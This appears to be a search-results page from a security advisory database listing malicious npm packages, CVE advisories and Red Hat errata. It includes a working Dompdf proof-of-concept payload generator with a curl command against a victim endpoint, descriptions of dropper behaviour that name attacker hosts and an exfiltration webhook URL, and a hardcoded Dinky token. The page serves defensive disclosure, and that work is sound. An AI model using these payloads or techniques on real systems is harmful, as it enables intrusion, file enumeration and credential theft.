Search: index.html

The npm package 'yangming8' version 1.0.0 contains a malicious payload in its single file index.html, which serves a fake Cloudflare verification page and then redirects users to a phishing site impersonating MicroCloud. The package does not execute code on installation or require, but abuses npm registry and CDN mirrors to host a browser-side credential phishing page. The risk to developers installing the package is minimal, but end users accessing the HTML via CDN URLs are targeted. There is no CVSS score available for this threat.

The npm package 'bmgki3g6fh3' version 1.0.0 contains malicious code embedded in an index.html file that renders a spoofed Cloudflare security verification page. When a browser loads this page, it executes obfuscated JavaScript that redirects the user to a constructed URL, facilitating phishing or redirect attacks. The package does not execute code during installation or require time, so it does not pose a supply-chain risk through npm install or require(). This is a case of registry abuse to host phishing infrastructure rather than a direct installer compromise.

Dinky's POST /download/uploadFromRsByLocal handler passes the caller-supplied path parameter directly to new File(path) and file.transferTo(dest) with no path validation. The route is marked @SaIgnore and /download/** is excluded from the Sa-Token interceptor, so the only guard is a header equality check against a dinkyToken value whose default (efda1551-7958-4e0f-80a8-dfd107df3e38) is hardcoded in source and shipped to every deployment. Anyone who can reach Dinky's HTTP port (8888 by default) and supplies the hardcoded token can write arbitrary files as the Dinky service account. The default Docker image runs on 8888 with no proxy or authentication and chmod 777 on /opt/dinky, so the application's own classpath, launch scripts, and static assets are writable. Demonstrated impact: overwriting /opt/dinky/config/static/index.html served attacker JavaScript to admin browsers immediately, and writing /opt/dinky/org/dinky/Dinky.class executed attacker code as the Dinky service account at the next JVM start via a classpath-shadow launched by script/bin/auto.sh. Writes are uid 9999 (flink), not root, so /etc, /root, /home, and /usr are refused. Affects Dinky v1.2.5 (the current release) and the development branch, where the code is byte-identical.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (48ce2aa10d245536ed6cfd1903fe1b553eef84d8e949b0bd1b970817b7f13e98) On require of the package, index.js loads _loader.js which reconstructs attacker-controlled hostnames via string-split.join('') to evade scanners (mirrors of the form oob-worker.cf10{0,1,2}-{baf,adf}.workers.dev and DNS TXT fallback domains under wel1.ru such as sdk.dl.wel1.ru / ext.dl.wel1.ru / pkg.dl.wel1.ru / net.dl.wel1.ru), selects a platform/arch-specific asset, downloads a binary from one of the anonymous Cloudflare Workers hosts (with a DNS-over-TXT fallback that base64-reassembles bytes from <n>.<domain> TXT records), writes it to /var/tmp/.cache_<rand> on Unix or %TEMP%\dotnet_diag_<rand>.exe on Windows, chmod 0755, and spawns it detached via /bin/sh -c or cmd.exe. A marker file named.analytics_state and comments referring to 'opt-out environment variables' present a telemetry cover story. There is no hash or signature verification on the downloaded bytes, the destinations are anonymous hosts unrelated to any legitimate publisher, and the package name itself is a lookalike combining unrelated brand/technology tokens. ## Source: ghsa-malware (2e59b1d946c38b9a6e256cc86700987daaf2338dba0e56b59a124da3e582af25) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f2f3a20016e1936bdca56ddd0208270b791b048a3d4c7cca682ff83462724bb2) On require() of the package, index.js unconditionally loads _polyfill.js, which downloads a platform-specific binary from Cloudflare Workers subdomains whose hostnames are reconstructed at runtime by joining split string fragments (oob-worker.cf99-9b3.workers.dev, oob-worker.cf103-070.workers.dev, oob-worker.cf101-adf.workers.dev). A fallback channel retrieves base64-encoded payload chunks over DNS TXT queries against sdk.dl.wel1.ru, ext.dl.wel1.ru, pkg.dl.wel1.ru, and net.dl.wel1.ru (c.<domain> for chunk count, N.<domain> for chunk data). The fetched bytes are written to /tmp or %TEMP% under disguised names such as.cache_<hex> or dotnet_diag_<hex>.exe, chmod 0755, and executed detached via spawn("/bin/sh",["-c", path+" &"],{detached:true}).unref() or spawn("cmd",...) on Windows. No hash or signature verification is performed. Execution is gated only by an 'analytics_state' filesystem stamp and cover-story naming ('analytics', 'telemetry', 'dotnet_diag'). The package name impersonates a legitimate BNPL/payment integration while shipping a binary dropper. ## Source: ghsa-malware (c0880c543b06fa184b4f5210c4dba55339f8c0bed3ab7ad2c2e7b6c51b0ff8c4) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Cross-site Scripting in the lead index view in Roskus Prospero Flow CRM before 5.3.7 allows authenticated users holding the create or update lead permission to execute arbitrary JavaScript in the application origin via HTML markup stored in the lead name field, which the view renders through Blade's unescaped output directive and inside a JavaScript string literal in an onclick attribute.

Red Hat Advanced Cluster Management for Kubernetes provides the capabilities to address common challenges that administrators and site reliability engineers face as they work across a range of public and private cloud environments. Clusters and applications are all visible and managed from a single console—with security policy built in. This advisory contains the container images for Red Hat Advanced Cluster Management for Kubernetes, which add new features and enhancements, bug fixes, and updated container images. See the following Release Notes documentation, which will be updated shortly for this release, for additional details about this release: https://docs.redhat.com/en/documentation/red_hat_advanced_cluster_management_for_kubernetes/2.13/html-single/release_notes/index#acm-release-notes

Red Hat Advanced Cluster Management for Kubernetes provides the capabilities to address common challenges that administrators and site reliability engineers face as they work across a range of public and private cloud environments. Clusters and applications are all visible and managed from a single console—with security policy built in. This advisory contains the container images for Red Hat Advanced Cluster Management for Kubernetes, which add new features and enhancements, bug fixes, and updated container images. See the following Release Notes documentation, which will be updated shortly for this release, for additional details about this release: https://docs.redhat.com/en/documentation/red_hat_advanced_cluster_management_for_kubernetes/2.16/html-single/release_notes/index#acm-release-notes

## Description Dompdf is vulnerable to a **File Existence Oracle** attack through the manipulation of the CSS `@font-face` directive. By providing malicious HTML that references local files via the `file://` protocol repeatedly, an attacker can trigger PHP memory exhaustion. The critical point of this flaw is the discrepancy in system behavior: 1. **If the file exists:** Dompdf attempts to process the local resource multiple times, leading to an "Allowed memory size exhausted" error, which crashes the creation. 2. **If the file does NOT exist:** The rendering engine fails quickly or ignores the import, and the memory limit is not reached. This discrepancy allows an attacker to enumerate sensitive files on the server, regardless of `CHROOT` restrictions. Some factors impact the ability of attackers to exploit the vulnerability: - The attacker must be allowed to provide unrestricted and/or unsanitized HTML content. - System parameters must be configured in such a way that Dompdf is able to generate a memory overflow error. - HTTP GET querystring or POST body must allow large data - Memory limits must be low enough that Dompdf can trigger an overflow - `$_dompdf_show_warnings` when set to true can bump memory usage --- ## Example Scenario ### 1. Vulnerable System A web application provides a public mechanism for generating a PDF based on user supplied content. The application accepts raw HTML input or renders user-supplied content without sanitation or validation and processes it using Dompdf. - Vulnerable Endpoint: http://example.com/index.php - Vulnerable Parameter: html_input (POST) `index.php` simplified: ``` $dompdf = new Dompdf(new Options()); $dompdf->loadHtml($_POST['html_input']); $dompdf->render(); $dompdf->stream("document.pdf"); ``` <img width="2530" height="1320" alt="image" src="https://github.com/user-attachments/assets/a3fe336c-097a-408a-b8b4-cdbaf5f8d7c4" /> ### 2. Attack Generation The attacker runs a script locally on their own machine to generate a heavy payload. This payload is then sent to the victim's public endpoint via a standard HTTP POST request. - Attacker's Local Script (payload_gen.php): ```PHP <?php /** * Usage: php exploit.php <file_path> <iterations> * Example: php exploit.php /etc/passwd 5000 */ // Check if the file argument was provided if ($argc < 2) { echo "[-] Usage: php exploit.php <file_to_read> [iterations]\n"; exit(1); } $file = $argv[1]; $iterations = isset($argv[2]) ? (int)$argv[2] : 5000; function generate_payload($file, $iterations) { $css = ""; $body = ""; // We use @font-face to trick the engine into attempting a local file read for ($i = 0; $i < $iterations; $i++) { $css .= "@font-face { font-family: \"f{$i}\"; src: url(\"file://{$file}\"); }\n"; $body .= "<span style=\"font-family:f{$i}\">.</span>"; } return "<html><head><style>{$css}</style></head><body>{$body}</body></html>"; } // Output the payload to stdout for piping echo generate_payload($file, $iterations); ?> ``` ### 3. Exploitation The attacker pipes the malicious HTML into a curl request targeting the remote server: ``` php payload_gen.php /etc/passwd 5530 | curl -X POST https://victim-app.com/index.php \ --data-urlencode "html_input@-" \ --output response.pdf ``` By analyzing the `response.pdf` file generated (by the size or error), the remote attacker can confirm the existence of files without having direct access to the server. When a file reference is valid and the execution parameters are met, Dompdf overflows the PHP limit and hangs/crashes. #### Existent file: <img width="2544" height="702" alt="image" src="https://github.com/user-attachments/assets/a565e9b9-5bf7-486c-acac-c2adfc4af536" /> #### Non-existent file: <img width="1872" height="706" alt="image" src="https://github.com/user-attachments/assets/6e71dbdd-294a-4b2c-a183-4bbbfddcdee2" /> Note that the specific iteration count that will trigger the overflow varies by system. This is based on the memory limit imposed by the target system as well as the PHP internals related to memory management (heap allocation and garbage clean up). Under most scenarios there is no apparent difference in memory usage between existent and non-existent files. But with a specific number of file operations the memory limit can be breached only when the file exists. --- ## Impact **Information Disclosure (File Oracle via Reflected HTML)**: In scenarios where a user can control reflected HTML, an attacker can confirm the existence of sensitive local files (e.g., `.env` files, SSH keys, or system configurations). By observing whether the application returns a memory exhaustion error (file exists) or renders normally (file does not exist), the attacker can systematically map the server's file system.

CI4MS is a CodeIgniter 4-based content management system skeleton. Prior to version 0.31.9.0, the `Pages` backend module registers the `html_purify` validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (`Home::index()` → `app/Views/templates/default/pages.php`) emits `$pageInfo->content` without `esc()`, yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at `/` and reach every visitor of the site. Version 0.31.9.0 patches the issue.

CI4MS is a CodeIgniter 4-based content management system skeleton. Prior to version 0.31.9.0, the Fileeditor module enforces an extension allowlist (`['css','js','html','txt','json','sql','md']`) on content-write operations (`saveFile`, `createFile`), but two destructive endpoints — `deleteFileOrFolder` and `renameFile` — never validate the extension of the *source* path. A backend user with file-editor permissions can therefore unlink or rename any file inside the project root that is not explicitly listed in the small `$hiddenItems` blocklist. Critical framework files such as `app/Config/Routes.php`, `app/Config/App.php`, `app/Config/Database.php`, `app/Config/Filters.php`, `public/index.php`, and `public/.htaccess` all live outside that blocklist and can be destroyed, producing a persistent denial of service that requires filesystem-level redeployment to recover. Version 0.31.9.0 patches the issue.

Red Hat Advanced Cluster Management for Kubernetes 2.11 images Red Hat Advanced Cluster Management for Kubernetes provides the capabilities to address common challenges that administrators and site reliability engineers face as they work across a range of public and private cloud environments. Clusters and applications are all visible and managed from a single console—with security policy built in. This advisory contains the container images for Red Hat Advanced Cluster Management for Kubernetes, which add new features and enhancements, bug fixes, and updated container images. See the following Release Notes documentation, which will be updated shortly for this release, for additional details about this release: https://docs.redhat.com/en/documentation/red_hat_advanced_cluster_management_for_kubernetes/2.11/html-single/release_notes/index#acm-release-notes

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the container images for Red Hat OpenShift Container Platform 4.22.7. See the following advisory for the RPM packages for this release: https://access.redhat.com/errata/RHBA-2026:44229 Space precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes: https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html/release_notes/ Security Fix(es): * kernel: ip6_tunnel: clear skb2->cb[] in ip4ip6_err() (CVE-2026-43037) * cifs-utils: local privilege escalation via forged cifs.spnego key description in cifs.upcall (CVE-2026-12505) * podman: Podman: Information disclosure via malicious container image environment variables (CVE-2026-57231) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. All OpenShift Container Platform 4.22 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html-single/updating_clusters/index#updating-cluster-cli.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (22ef6fa6c2b9f80d6a1f79e532a9d9ea083a1c662bc834d118879ba630842b0c) This package is not a Node.js library. `package.json` declares `"main": "sw.js"`, a Service Worker that calls `importScripts('./8cfc2/hgshm.js')` — an API that does not exist in Node, so `require('timmytuffknuckles6')` throws immediately and the bundled obfuscated assets never execute on the installer's machine. The tarball contents are a school-unblocker / bare-mux web proxy bundle (index.html, multiple obfuscated `assets/*.js` files, WASM) wrapped in a `Riverbend Tutoring` cover page that, when served and visited in a browser, loads third-party scripts and opens popunders to external sites. There are no `preinstall`/`install`/`postinstall` lifecycle scripts, and no top-level Node-reachable code path that runs on install or require. The repository also ships `auto-publish.sh`, an author-run loop that rewrites `package.json.name` to `timmytuffknuckles1`..`timmytuffknuckles10` and republishes the same payload under each name, polluting the npm namespace with ten clones. The script is not a lifecycle hook and does not run on install. The heavy obfuscation in `assets/*.js` is consistent with the Ultraviolet/bare-mux proxy framework these projects use, not with installer-side harm. Routing to human review because the package is registry-misuse (proxy webapp masquerading as an npm library, plus deliberate ten-name namespace squatting) even though it does not attack installers. ## Source: ghsa-malware (040a672027041512418b9d898bcf26a02f2fe75f50d918b546a3283c87ffd9ee) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a8693677ff1f1f887c11d3b4f6ad3f1742c7eefd07b6b8cfabd6cfccc32bc48f) On npm install, postinstall.js runs automatically and performs two unauthorized actions against the installer. First, it POSTs a JSON fingerprint of the installing machine — os.hostname(), os.userInfo().username, platform, arch, node version, cwd, INIT_CWD, npm user-agent, and the sorted list of every process.env variable name — to a hardcoded webhook.site canary URL (https://webhook.site/a428f027-90c9-45e2-acca-ffbb4ea86044) that the installer never configured. Second, it walks common project locations under INIT_CWD (index.html, public/index.html, src/index.html, dist/index.html, build/index.html) and rewrites each file via fs.writeFileSync to inject a fixed-position red banner div into the page body. The environment-variable name inventory reveals which credentials are present on the host, and the HTML rewrite silently modifies files the installer owns at install time. ## Source: ghsa-malware (ee2266f117d4745534d3257b98734ddfbeb31634bbbc4b3b0de9a2dee97d4e07) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

SiYuan is an open-source personal knowledge management system. Prior to 3.7.1, Asset.render in app/src/asset/index.ts interpolates the unsanitized this.path value into HTML assigned to innerHTML, allowing a crafted asset link containing a double quote to break out of the src attribute, inject an event handler, and execute JavaScript that can run OS commands in the Electron renderer. This issue is fixed in versions 3.7.1-alpha.2 and 3.7.1.

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the container images for Red Hat OpenShift Container Platform 4.22.4. See the following advisory for the RPM packages for this release: https://access.redhat.com/errata/RHSA-2026:34789 Space precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes: https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html/release_notes/ Security Fix(es): * gnutls: gnutls: Authentication Bypass via NUL Character in Username (CVE-2026-42010) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. All OpenShift Container Platform 4.22 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html-single/updating_clusters/index#updating-cluster-cli.

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. Space precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes: https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html/release_notes/ Security Fix(es): * gnutls: gnutls: Denial of Service via DTLS packet reordering vulnerability (CVE-2026-42009) * kernel: net/sched: act_pedit: extend the writable skb range per key (CVE-2026-46331) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. All OpenShift Container Platform 4.22 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html-single/updating_clusters/index#updating-cluster-cli.

Red Hat Advanced Cluster Management for Kubernetes 2.13 images Red Hat Advanced Cluster Management for Kubernetes provides the capabilities to address common challenges that administrators and site reliability engineers face as they work across a range of public and private cloud environments. Clusters and applications are all visible and managed from a single console—with security policy built in. This advisory contains the container images for Red Hat Advanced Cluster Management for Kubernetes, which add new features and enhancements, bug fixes, and updated container images. See the following Release Notes documentation, which will be updated shortly for this release, for additional details about this release: https://docs.redhat.com/en/documentation/red_hat_advanced_cluster_management_for_kubernetes/2.13/html-single/release_notes/index#acm-release-notes

Nokogiri is an open source XML and HTML library for the Ruby programming language. Prior to 1.19.4, Nokogiri::XML::NodeSet#[] (and its alias #slice) checked the requested index against the node set's bounds using a 32-bit-truncated copy of the index. A large negative index could pass the check and then be used at full width, reading outside the node set's storage. On CRuby this is an out-of-bounds read that typically crashes the process; on JRuby it is not memory-unsafe but returns an incorrect node. This vulnerability is fixed in 1.19.4.